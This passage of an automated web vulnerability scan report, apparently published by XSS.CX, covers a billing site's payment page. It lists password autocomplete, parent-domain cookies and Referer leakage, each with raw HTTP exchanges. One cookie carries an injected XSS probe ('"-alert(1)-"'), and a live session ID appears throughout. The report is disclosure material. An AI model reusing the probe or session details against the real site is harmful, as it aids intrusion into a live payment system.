Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:46 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:46 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:46 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:46 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:46 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 29722


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
</div>
   
   
   <form id="payment_form" method="post" action="/payment/index.php?sitekey=vivid&amp;service=girls&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;PHPSESSID=qmcaomq4rel2lem281qctn0725" onsubmit="return disable_submit(this)">
   
   <div class="content">
...[SNIP]...
<td class="right" style="background: none;">
                                       <input type="password" id="password" name="ITEM[password]" size="15" maxlength="32" tabindex="2" value="" />&nbsp;(4-32 characters)
                   <div style="height: 22px;" id="password_strength" style="padding: 5px; width: 200px;">
...[SNIP]...

5.4. https://billing.vs.com/payment/index.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/index.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /payment/index.php HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Connection: close
Content-Type: text/html
Content-Length: 29842


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
</div>
   
   
   <form id="payment_form" method="post" action="/payment/index.php?sitekey=vivid&amp;service=girls&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;use_new_tpls=1&amp;PHPSESSID=38aiuoljffah6m691595claoj2" onsubmit="return disable_submit(this)">
   
   <div class="content">
...[SNIP]...
<td class="right" style="background: none;">
                                       <input type="password" id="password" name="ITEM[password]" size="15" maxlength="32" tabindex="2" value="" />&nbsp;(4-32 characters)
                   <div style="height: 22px;" id="password_strength" style="padding: 5px; width: 200px;">
...[SNIP]...

6. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


6.1. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /payment/?mp_code=cqiu&service=girls&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=38aiuoljffah6m691595claoj2; sitekey=vivid; service=girls; mp_code=cqiu; source_code=default; product_type=live

Response

HTTP/1.1 500 Internal Server Error
Date: Fri, 31 Dec 2010 15:06:45 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1c2a76%22-alert%281%29-%22ad8e6afc97; expires=Fri, 07-Jan-2011 15:06:45 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 0


6.2. https://billing.vs.com/payment/index.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/index.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /payment/index.php?sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; use_new_tpls=1c2a76%22-alert%281%29-%22ad8e6afc97; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 500 Internal Server Error
Date: Fri, 31 Dec 2010 15:11:20 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=b8a4e58f5c37d455c1f37d60; expires=Fri, 07-Jan-2011 15:11:20 GMT; path=/; domain=.vs.com
Connection: close
Content-Type: text/html
Content-Length: 0


7. Cross-domain Referer leakage  previous
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


7.1. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /payment/?mp_code=cqiu&service=girls&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:19 GMT
Server: Apache
Set-Cookie: PHPSESSID=38aiuoljffah6m691595claoj2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:19 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 29722


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
<td>
                                   
                                       <a target="_blank" href="https://www.mcafeesecure.com/RatingVerify?ref=billing.vs.com"><img border="0" src="https://images.scanalert.com/meter/survey/billing.vs.com/23.gif" alt="McAfee Secure sites help keep you safe from identity theft, credit card fraud, spyware, spam, viruses and online scams" oncontextmenu="alert('Copying Prohibited by Law - McAfee Secure is a Trademark of McAfee, Inc.'); return false;" style="margin-right: 12px;"></a>
...[SNIP]...

7.2. https://billing.vs.com/payment/index.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/index.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /payment/index.php?sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:05:48 GMT; path=/; domain=.vs.com
Connection: close
Content-Type: text/html
Content-Length: 29836


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
<td>
                                   
                                       <a target="_blank" href="https://www.mcafeesecure.com/RatingVerify?ref=billing.vs.com"><img border="0" src="https://images.scanalert.com/meter/survey/billing.vs.com/23.gif" alt="McAfee Secure sites help keep you safe from identity theft, credit card fraud, spyware, spam, viruses and online scams" oncontextmenu="alert('Copying Prohibited by Law - McAfee Secure is a Trademark of McAfee, Inc.'); return false;" style="margin-right: 12px;"></a>
...[SNIP]...

Report generated by XSS.CX at Fri Dec 31 09:56:04 CST 2010.